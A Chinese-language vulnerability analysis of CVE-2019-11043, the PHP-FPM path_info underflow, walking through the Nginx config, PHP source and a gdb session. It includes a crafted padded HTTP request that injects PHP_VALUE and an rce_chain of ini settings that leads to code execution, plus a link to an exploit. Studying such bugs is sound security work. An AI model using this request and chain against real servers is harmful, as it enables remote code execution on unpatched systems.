一、漏洞介绍
CVE-2019-11043漏洞是PHP 7.x版本下FPM配合不恰当的Nginx配置可以导致RCE的一个漏洞,影响的具体版本如下:PHP 7.1版本小于7.1.33;PHP 7.2版本小于7.2.24;PHP 7.3版本小于7.3.11。这个洞是国外安全研究员在做CTF题目时意外发现的,当发送特定的带有%0a
的URL请求时会造成服务器响应异常。下面通过复现和调试分析来细看这个CVE漏洞。
二、浅析与复现
1、在详细调试这个漏洞之前,需要对几个重要的前置知识进行简单了解。
(1、PHP-FPM、Nginx对PATH_INFO的获取。
CGI的环境变量PATH_INFO的内容是URL中的一部分,例如请求URL为下面所示时,PATH_INFO
获得的值为/yunsle1/yunsle2:
http://10.211.55.6/index.php/yunsle1/yunsle2?a=yunsle
这个漏洞对Nginx的配置有要求,使用fastcgi_split_path_info
的特定正则形式去匹配带有%0a
的URL时,PATH_INFO
会得到空字符串。Nginx配置如下:
location ~ [^/].php(/|$) {
fastcgi_split_path_info ^(.+?.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
fastcgi_pass 127.0.0.1:9000;
}
此时构造请求为下面所示时,正则^(.+?.php)(/.*)$
碰到%0a
后导致后面括号内获得的PATH_INFO值会为空:
http://10.211.55.6/index.php/yun%0asle1/yunsle2?a=yunsle
1、// 管理fcgi_data_seg等
typedef struct _fcgi_hash {
fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
fcgi_hash_bucket *list;
fcgi_hash_buckets *buckets; //存放请求环境变量的哈希表,键值对数据存在下面的data
fcgi_data_seg *data; //存放请求环境变量键值对数据
} fcgi_hash;
2、//存放请求环境键值对的数据结构
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
这里需要强调两个重要的数据结构,分别是fcgi_hash_buckets
和fcgi_data_seg
,前者保存着请求的环境变量的键值对的哈希表,而后者是存储这些具体键值对数据的地方。可以通过内存图简单看出它们的关系:
buckets:
data:
2、漏洞调试复现
为了对漏洞进行调试分析,在这里没有使用P神的vulhub
搭建环境。选择虚拟机编译PHP环境并且开启调试信息,方便后续使用gdb进行跟踪:
./configure --prefix=/home/php7.2.20 --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"
1、加了-g3的参数后,gcc编译的时候,会将扩展的debug信息编译进二进制文件里面,包括宏定义信息。
2、DWARF是一种应用的比较广泛的elf(可执行和链接格式)。这边的-gdwarf-4意思是使用版本4的格式,对dwarf格式感兴趣的,可以看其他相关资料。
并且为了方便调试,将PHP-FPM的工作模式设定为单个work进程。另外安装Nginx,使用前置知识中的配置:
location ~ [^/].php(/|$) {
fastcgi_split_path_info ^(.+?.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
fastcgi_pass 127.0.0.1:9000;
}
访问站点进行测试,正常返回内容,一切准备工作就绪:
接着直接使用原作者的Go版本的EXP,但是没有成功。一开始怀疑是版本问题,但是测试7.3.10版本PHP同样没有成功。
碰到这情况,只能进去分析一波漏洞点看看问题在什么地方(函数init_request_info):https://github.com/php/php-src/blob/php-7.3.10/sapi/fpm/fpm/fpm_main.c#L1151。
int ptlen = strlen(pt);
int slen = len - ptlen;
//pilen是env_path_info的长度,env_path_info就是PATH_INFO的值,PATH_INFO为空时pilen为0
int pilen = env_path_info ? strlen(env_path_info) : 0;
int tflag = 0;
char *path_info;
if (apache_was_here) {
/* recall that PATH_INFO won't exist */
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
//当env_path_info为空时,path_info赋值为env_path_info地址+0-slen,在这slen长度可控,导致path_info下溢
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
tflag = (orig_path_info != path_info);
}
代码中slen是请求中的部分长度,当请求URL为http://10.211.55.6/index.php/yunsle1/%0ayunsle2?a=yunsle
时,slen是/yunsle1/%0ayunsle2
的长度:17。
上面注释的地方解释了这个漏洞的本质所在,PATH_INFO为空——》env_path_info为空——》pilen为0且slen可控——》path_info下溢。
紧接着这段代码之后是如下代码:
if (orig_path_info) {
char old;
FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
old = path_info[0];
path_info[0] = 0; //<----- 一字节写0
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//<----写fastcgi环境变量
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
在path_info下溢之后,执行了path_info[0] = 0;
,向下溢的地址写了一字节的0,这就造成了可控地址写0的能力。但是这个能力有什么用呢?我们继续往下看,下面代码刚好还有写fastcgi环境变量的操作,这个漏洞的利用思路是通过这一字节写0能够达到写环境变量的目的,最终RCE。于是这个一字节写0操作需要写特定的地方才能达到目的。
我们前置知识中介绍了fcgi_hash_buckets
和fcgi_data_seg
结构体,如果能够在fcgi_hash_buckets
中写入PHP环境变量的键值对就可以,那么就需要搞清楚数据是怎么写入到fastcgi键值对中。
FCGI_PUTENV函数——》fcgi_hash_set函数——》fcgi_hash_strndup函数
char* fcgi_putenv(fcgi_request *req, char* var, int var_len, char* val)
{
if (!req) return NULL;
if (val == NULL) {
fcgi_hash_del(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len);
return NULL;
} else {
return fcgi_hash_set(&req->env, FCGI_HASH_FUNC(var, var_len), var, var_len, val, (unsigned int)strlen(val)); //<---------
}
}
static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
{
......
p = h->buckets->data + h->buckets->idx;
h->buckets->idx++;
p->next = h->hash_table[idx];
h->hash_table[idx] = p;
p->list_next = h->list;
h->list = p;
p->hash_value = hash_value;
p->var_len = var_len;
p->var = fcgi_hash_strndup(h, var, var_len); //<---------写入键
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len); //<---------写入值
return p->val;
}
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
......
ret = h->data->pos; //<---------
memcpy(ret, str, str_len); //<--------- 这是关键,可以看到数据是写到fcgi_data_seg的pos地址中的
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
所以需要将一字节写0的应用到能够修改fcgi_data_seg
的低位,达到向fcgi_hash_buckets
写环境变量的进一步操作。
还需要注意的是,后面PHP-FPM在取环境变量的值时,会对fcgi_hash_buckets
中键值对做哈希值的校验,也就是说如果只是向fcgi_hash_buckets
写了PHP的环境变量,如果验证过不了还是无效的。
对键的哈希操作如下所示:
#define FCGI_HASH_FUNC(var, var_len)
(UNEXPECTED(var_len < 3) ? (unsigned int)var_len :
(((unsigned int)var[3]) << 2) +
(((unsigned int)var[var_len-2]) << 4) +
(((unsigned int)var[var_len-1]) << 2) +
var_len)
这里漏洞发现者找到了和PHP_VALUE
相同HASH的另一个键:HTTP_EBUT
。它们的长度都是9,并且经过上述哈希操作后的结果都一样。而HTTP_EBUT
是通过HTTP请求头中带Ebut: XXXXXXX
得到的,当HTTP请求头带上这个键值对,然后想办法用PHP_VALUE
覆盖掉这个HTTP_EBUT
位置的键值对,就可以合法成功写入PHP环境变量了。
我们通过调试看整个过程。
将单个work进程的PHP-FPM运行后,我们查看进程pid,然后通过gdb依附上去:
gdb -p 6483
接着下断到函数init_request_info
,并发送构造的漏洞验证请求(根据漏洞作者EXP改造),其中大量Q
和大量+
的作用在后面会提到:
GET /index.php/PHP_VALUE%0asession.auto_start=0;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: 10.211.55.6
User-Agent: Mozilla/5.0
Accept-Encoding:
D-Gisos: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ebut: yunsleyunsle
由于带有%0a
,导致env_path_info为空,slen的长度为34:
此时request.env.data
(fcgi_data_seg
结构)的内容如下,分别是pos、end、next和数据的data。由于构造的请求的query带有大量的填充字符Q
,使得PATH_INFO
刚好在一个新的fcgi_data_seg
中data的开头:
继续执行后,path_info下溢,地址为env_path_info - 34
,刚好指向了request.env.data
的pos:
接着执行一字节写0操作,把request.env.data.pos
最低位改写:
这时request.env.data.pos
指向内存数据如下所示:
可以看到,这里指向了HTTP_EBUT
上方的一堆+
的区域。所以EXP的请求中一堆的+
的作用就是为了填充区域,使得request.env.data.pos
指向想要的地方。
接着执行写fastcgi环境变量操作:
跟进到fcgi_hash_set
中,准备执行fcgi_hash_strndup
向request.env.data.pos
中写数据:
第一次是在fcgi_hash_strndup
中进行var
写操作,并且request.env.data.pos
后移17的长度:
此时再次查看request.env.data.pos
数据:
第二次是写val
的值:
写完后再次查看request.env.data.pos
数据,可以看到HTTP_EBUT
的地址被覆盖为PHP_VALUE
,到这里就成功完成了PHP环境变量的写入!
我们查看fcgi_hash_buckets
中的变量,可以找到覆盖后的键值对:
覆盖前的键值对:
最后,如果请求写入PHP环境变量session.auto_start=1
开启session,响应包的HTTP头中会带有Set-Cookie
字段:
能够写环境变量,就可以进一步构造RCE了,使用环境变量写入链输出内容到日志文件,然后包含日志文件进行代码执行:
rce_chain = [
"error_reporting=2",
"short_open_tag=1",
"html_errors=0",
"log_errors=1",
"error_log=/tmp/l",
"include_path=/tmp",
"output_handler=<?/*",
"output_handler=*/`",
"output_handler=''",
"extension_dir='`?>'",
"extension=$_GET[a]",
"auto_prepend_file=l"
]
三、总结
主要流程:%0a使得正则获得PATH_INFO为空——》path_info下溢,可控地址一字节写0——》构造写入PHP环境变量——》RCE
1、其中请求query中的大量字符串Q
是为了让PATH_INFO刚好在fcgi_data_seg的数据段开头;
2、HTTP头中的大量+
是为了制造偏移,使得后面环境变量写入刚好覆盖HTTP_EBUT;
3、HTTP头中的Ebut是为了PHP_VALUE
和HTTP_EBUT
哈希计算一致使得覆盖后能成功被应用。
对于不同的服务器环境,需要的Q
和+
填充不一样,需要爆破尝试
学习过程中刚好也用Python实现了下此CVE的EXP,可以判断目标服务器work进程数量进行全进程污染:
https://github.com/0th3rs-Security-Team/CVE-2019-11043
四、引用
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://xz.aliyun.com/t/6671
https://paper.seebug.org/1063/
https://forum.90sec.com/t/topic/558